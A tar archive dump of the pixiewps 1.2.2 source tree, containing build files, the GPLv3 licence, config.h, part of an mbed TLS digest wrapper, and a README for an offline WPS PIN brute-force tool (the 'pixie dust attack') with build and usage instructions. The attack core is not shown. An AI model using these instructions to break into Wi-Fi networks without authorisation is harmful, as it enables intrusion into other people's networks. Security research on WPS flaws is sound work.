pax_global_header00006660000000000000000000000064127627007730014525gustar00rootroot0000000000000052 comment=fb6dc3f1d34199ce1a68f288a7bc0724cd567317 pixiewps-1.2.2/000077500000000000000000000000001276270077300133775ustar00rootroot00000000000000pixiewps-1.2.2/.editorconfig000066400000000000000000000004231276270077300160530ustar00rootroot00000000000000# See http://editorconfig.org for a plugin to your editor! # Top-most EditorConfig file root = true [*] charset = utf-8 end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true indent_style = tab indent_size = 4 [*.md] trim_trailing_whitespace = false pixiewps-1.2.2/Android.mk000066400000000000000000000003321276270077300153060ustar00rootroot00000000000000LOCAL_PATH:=$(call my-dir)/src include $(CLEAR_VARS) LOCAL_CFLAGS:=-std=c99 -O3 LOCAL_MODULE:=pixiewps LOCAL_SRC_FILES:=pixiewps.c random_r.c crypto/sha256.c crypto/md.c crypto/md_wrap.c include $(BUILD_EXECUTABLE) pixiewps-1.2.2/LICENSE.md000066400000000000000000001045521276270077300150120ustar00rootroot00000000000000GNU GENERAL PUBLIC LICENSE ========================== Version 3, 29 June 2007 Copyright © 2007 Free Software Foundation, Inc. <> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. ## Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. ## TERMS AND CONDITIONS ### 0. Definitions. “This License” refers to version 3 of the GNU General Public License. “Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. “The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations. To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work. A “covered work” means either the unmodified Program or a work based on the Program. To “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. ### 1. Source Code. The “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work. A “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. ### 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. ### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. ### 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. ### 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: * **a)** The work must carry prominent notices stating that you modified it, and giving a relevant date. * **b)** The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”. * **c)** You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. * **d)** If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. ### 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: * **a)** Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. * **b)** Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. * **c)** Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. * **d)** Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. * **e)** Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. “Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. ### 7. Additional Terms. “Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: * **a)** Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or * **b)** Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or * **c)** Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or * **d)** Limiting the use for publicity purposes of names of licensors or authors of the material; or * **e)** Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or * **f)** Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. ### 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. ### 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. ### 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. ### 11. Patents. A “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”. A contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. ### 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. ### 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. ### 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. ### 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. ### 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. ### 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS ## How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. This is free software, and you are welcome to redistribute it under certain conditions; type 'show c' for details. The hypothetical commands 'show w' and 'show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an “about box”. You should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <>.pixiewps-1.2.2/Makefile000066400000000000000000000011511276270077300150350ustar00rootroot00000000000000include $(TOPDIR)/rules.mk include version.mk PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME) include $(INCLUDE_DIR)/package.mk define Package/pixiewps SECTION:=net CATEGORY:=Network SUBMENU:=wireless TITLE:=An offline WPS bruteforce utility URL:=https://github.com/wiire/pixiewps endef define Package/pixiewps/description An offline WPS bruteforce utility endef define Build/Prepare mkdir -p $(PKG_BUILD_DIR) $(CP) ./src/* $(PKG_BUILD_DIR)/ endef define Package/pixiewps/install $(INSTALL_DIR) $(1)/usr/bin $(INSTALL_BIN) $(PKG_BUILD_DIR)/pixiewps $(1)/usr/bin/ endef $(eval $(call BuildPackage,pixiewps)) pixiewps-1.2.2/README.md000066400000000000000000000073421276270077300146640ustar00rootroot00000000000000# Overview [![License](https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg?style=flat-square)](https://github.com/wiire/pixiewps/blob/master/LICENSE.md) **Pixiewps** is a tool written in C used to **bruteforce offline** the WPS pin exploiting the low or non-existing entropy of some Access Points, the so-called "pixie dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only. As opposed to the traditional online bruteforce attack, implemented in tools like Reaver or Bully which aim to recover the pin in a few hours, this method can get the pin in only a matter of **milliseconds** to **minutes**, depending on the target, **if vulnerable**. ![pixiewps_screenshot](http://i.imgur.com/JOa5uTp.png) More details can be found here: - [https://forums.kali.org/showthread.php?25018-Pixiewps-wps-pixie-dust-attack-tool](https://forums.kali.org/showthread.php?25018-Pixiewps-wps-pixie-dust-attack-tool) - [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)) A non-exhaustive list of vulnerable devices (not maintained by me): - [https://docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/edit?pref=2&pli=1#gid=2048815923](https://docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/edit?pref=2&pli=1#gid=2048815923) # Requirements ``` apt-get -y install build-essential ``` Prior versions of 1.2 require [libssl-dev](https://www.openssl.org/). # Setup **Download** `git clone https://github.com/wiire/pixiewps` or `wget https://github.com/wiire/pixiewps/archive/master.zip && unzip master.zip` **Build** ```bash cd pixiewps*/ cd src/ make ``` **Install** ``` sudo make install ``` # Usage ``` Usage: pixiewps Required Arguments: -e, --pke : Enrollee public key -r, --pkr : Registrar public key -s, --e-hash1 : Enrollee hash 1 -z, --e-hash2 : Enrollee hash 2 -a, --authkey : Authentication session key -n, --e-nonce : Enrollee nonce Optional Arguments: -m, --r-nonce : Registrar nonce -b, --e-bssid : Enrollee BSSID -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No] -v, --verbosity : Verbosity level 1-3, 1 is quietest [3] -h : Display this usage screen --help : Verbose help and more usage examples -V, --version : Display version --mode N[,... N] : Mode selection, comma separated [Auto] --start [mm/]yyyy : Starting date (only mode 3) [Current time] --end [mm/]yyyy : Ending date (only mode 3) [-3 days] ``` # Usage example A common usage example is: ``` pixiewps --pke --pkr --e-hash1 --e-hash2 --authkey --e-nonce ``` which requires a modified version of Reaver or Bully which prints the *Authentication Session key* (`--authkey`, `-a`). The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x). # Supported OS Pixiewps can be compiled and installed on a wide variety of platforms including [OpenWrt](https://openwrt.org/) and Android. # Acknowledgements - Part of the code was inspired by Bully and its WPS functionality written by Jouni Malinen - The crypto libraries were taken from [mbed TLS](https://tls.mbed.org/) - Special thanks to: `soxrok2212`, `datahead`, `t6_x`, `aanarchyy`, `kcdtv` and the [Kali Linux](https://www.kali.org/) community # References Pixiewps is based on the work of Dominique Bongard: - [Video presentation](http://video.adm.ntnu.no/pres/549931214e18d) - [Slide presentation](http://archive.hack.lu/2014/Hacklu2014_offline_bruteforce_attack_on_wps.pdf) pixiewps-1.2.2/src/000077500000000000000000000000001276270077300141665ustar00rootroot00000000000000pixiewps-1.2.2/src/Makefile000066400000000000000000000010111276270077300156170ustar00rootroot00000000000000CCFLAGS = -std=c99 -O3 TARGET = pixiewps CRYPTO = crypto/sha256.c crypto/md.c crypto/md_wrap.c SOURCE = $(TARGET).c random_r.c $(CRYPTO) PREFIX = $(DESTDIR)/usr BINDIR = $(PREFIX)/bin LOCDIR = $(PREFIX)/local/bin all: $(CC) $(CCFLAGS) -o $(TARGET) $(SOURCE) debug: $(CC) $(CCFLAGS) -DDEBUG -o $(TARGET) $(SOURCE) install: rm -f $(BINDIR)/$(TARGET) rm -f $(LOCDIR)/$(TARGET) install -d $(DESTDIR)$(LOCDIR) install -m 755 $(TARGET) $(DESTDIR)$(LOCDIR) uninstall: rm $(BINDIR)/$(TARGET) clean: rm -f $(TARGET) pixiewps-1.2.2/src/config.h000066400000000000000000000024551276270077300156120ustar00rootroot00000000000000/* * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Copyright (c) 2015-2016, wiire * SPDX-License-Identifier: GPL-3.0+ * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #ifndef CONFIG_H #define CONFIG_H #if __STDC_VERSION__ < 199901L # define inline static #endif #include typedef unsigned char uint8_t; #include "crypto/md_internal.h" #include "crypto/sha256.h" #define sha256(i, l, d) mbedtls_sha256(i, l, d, 0) #define hmac_sha256(k, l, i, n, o) \ mbedtls_md_hmac(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), k, l, i, n, o) #endif /* CONFIG_H */ pixiewps-1.2.2/src/crypto/000077500000000000000000000000001276270077300155065ustar00rootroot00000000000000pixiewps-1.2.2/src/crypto/md.c000066400000000000000000000227321276270077300162600ustar00rootroot00000000000000/** * \file mbedtls_md.c * * \brief Generic message digest wrapper for mbed TLS * * \author Adriaan de Jong * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ #include #include #include "md.h" #include "md_internal.h" #define mbedtls_calloc calloc #define mbedtls_free free /* Implementation that should never be optimized out by the compiler */ static void mbedtls_zeroize( void *v, size_t n ) { volatile unsigned char *p = v; while( n-- ) *p++ = 0; } /* * Reminder: update profiles in x509_crt.c when adding a new hash! */ static const int supported_digests[] = { MBEDTLS_MD_SHA256, MBEDTLS_MD_SHA224, MBEDTLS_MD_NONE }; const int *mbedtls_md_list( void ) { return( supported_digests ); } const mbedtls_md_info_t *mbedtls_md_info_from_string( const char *md_name ) { if( NULL == md_name ) return( NULL ); /* Get the appropriate digest information */ if( !strcmp( "SHA224", md_name ) ) return mbedtls_md_info_from_type( MBEDTLS_MD_SHA224 ); if( !strcmp( "SHA256", md_name ) ) return mbedtls_md_info_from_type( MBEDTLS_MD_SHA256 ); return( NULL ); } const mbedtls_md_info_t *mbedtls_md_info_from_type( mbedtls_md_type_t md_type ) { switch( md_type ) { case MBEDTLS_MD_SHA224: return( &mbedtls_sha224_info ); case MBEDTLS_MD_SHA256: return( &mbedtls_sha256_info ); default: return( NULL ); } } void mbedtls_md_init( mbedtls_md_context_t *ctx ) { memset( ctx, 0, sizeof( mbedtls_md_context_t ) ); } void mbedtls_md_free( mbedtls_md_context_t *ctx ) { if( ctx == NULL || ctx->md_info == NULL ) return; if( ctx->md_ctx != NULL ) ctx->md_info->ctx_free_func( ctx->md_ctx ); if( ctx->hmac_ctx != NULL ) { mbedtls_zeroize( ctx->hmac_ctx, 2 * ctx->md_info->block_size ); mbedtls_free( ctx->hmac_ctx ); } mbedtls_zeroize( ctx, sizeof( mbedtls_md_context_t ) ); } int mbedtls_md_clone( mbedtls_md_context_t *dst, const mbedtls_md_context_t *src ) { if( dst == NULL || dst->md_info == NULL || src == NULL || src->md_info == NULL || dst->md_info != src->md_info ) { return( MBEDTLS_ERR_MD_BAD_INPUT_DATA 